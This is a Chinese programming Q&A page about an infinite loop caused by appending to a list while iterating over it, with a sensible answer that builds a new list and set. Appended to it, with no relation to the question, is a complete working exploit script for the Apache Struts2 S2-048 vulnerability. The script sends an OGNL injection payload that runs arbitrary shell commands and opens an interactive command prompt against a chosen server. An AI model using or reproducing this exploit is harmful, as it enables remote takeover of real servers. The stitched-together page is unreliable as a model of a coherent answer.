关于用for循环来完成append的问题,无限循环怎么解决
A=['Adam', 'Lisa', 'Bart', 'Paul']
for i in A:
j=i.lower()
A.append(j)
就是这段代码,输入后会无限访问A中的元素,无限往后添加...有什么办法避免重复?
A=['Adam', 'Lisa', 'Bart', 'Paul']
for i in A:
j=i.lower()
A.append(j)
就是这段代码,输入后会无限访问A中的元素,无限往后添加...有什么办法避免重复?
2017-06-27
### 第一种方法 s = set([name.lower() for name in ['Adam', 'Lisa', 'Bart', 'Paul']]) ### 通过for循环遍历name,然后将name变成小写字符串,然后形成新的列表 print 'adam' in s print 'bart' in s ### 第二张方法 L=['Adam', 'Lisa', 'Bart', 'Paul'] M=[] for x in L: ####遍历列表中的字符串 y=x.lower() #### 将得到的字符串变成小写 M.append(y) #### 空列表中末尾追加得到的小写字符串,形成新的列表M s = set(M) #### 通过set 方法,防止元素重复(若重复,自动删除一个元素) print s print 'adam' in s print 'bart' in s
#!/usr/bin/env python # -*- coding: utf-8 -*- ''' st2-048.py ''' # !/usr/bin/python # -*- coding: utf-8 -*- print ''' ____ ____ ___ _ _ ___ / ___|___ \ / _ \| || | ( _ ) \___ \ __) |____| | | | || |_ / _ \ ___) / __/_____| |_| |__ _| (_) | |____/_____| \___/ |_| \___/ ____ ____ _____ _ _____ _____ ____ _ ____ _ __ | _ \ / ___| ____| / \|_ _|_ _| _ \ / \ / ___| |/ / | |_) | | | _| _____ / _ \ | | | | | |_) | / _ \| | | ' / | _ <| |___| |__|_____/ ___ \| | | | | _ < / ___ \ |___| . \ |_| \_\\____|_____| /_/ \_\_| |_| |_| \_\/_/ \_\____|_|\_\ Author By Jas502n https://github.com/jas502n/st2-048 影响不大,周末注意休息,不要搞事情! ''' import json, re import requests import threading import urllib def Poc(url, command): header = {'Content-Type': 'application/x-www-form-urlencoded'} poc = {"name": "%{(#szgx='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd=' \ " + command + "').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.close())}", "age": "1", "__checkbox_bustedBefore": "true", "description": "123123"} data = urllib.urlencode(poc) try: result = requests.post(url, data=data, headers=header) if result.status_code == 200: print result.content except requests.ConnectionError, e: print e th = {"url": ""} while True: if th.get("url") != "": input_cmd = raw_input("cmd >>: ") if input_cmd == "exit": exit() elif input_cmd == 'set': url = raw_input("set url :") th['url'] = url elif input_cmd == 'show url': print th.get("url") else: Poc(th.get("url"), input_cmd) else: url = raw_input("set url :") th["url"] = url
举报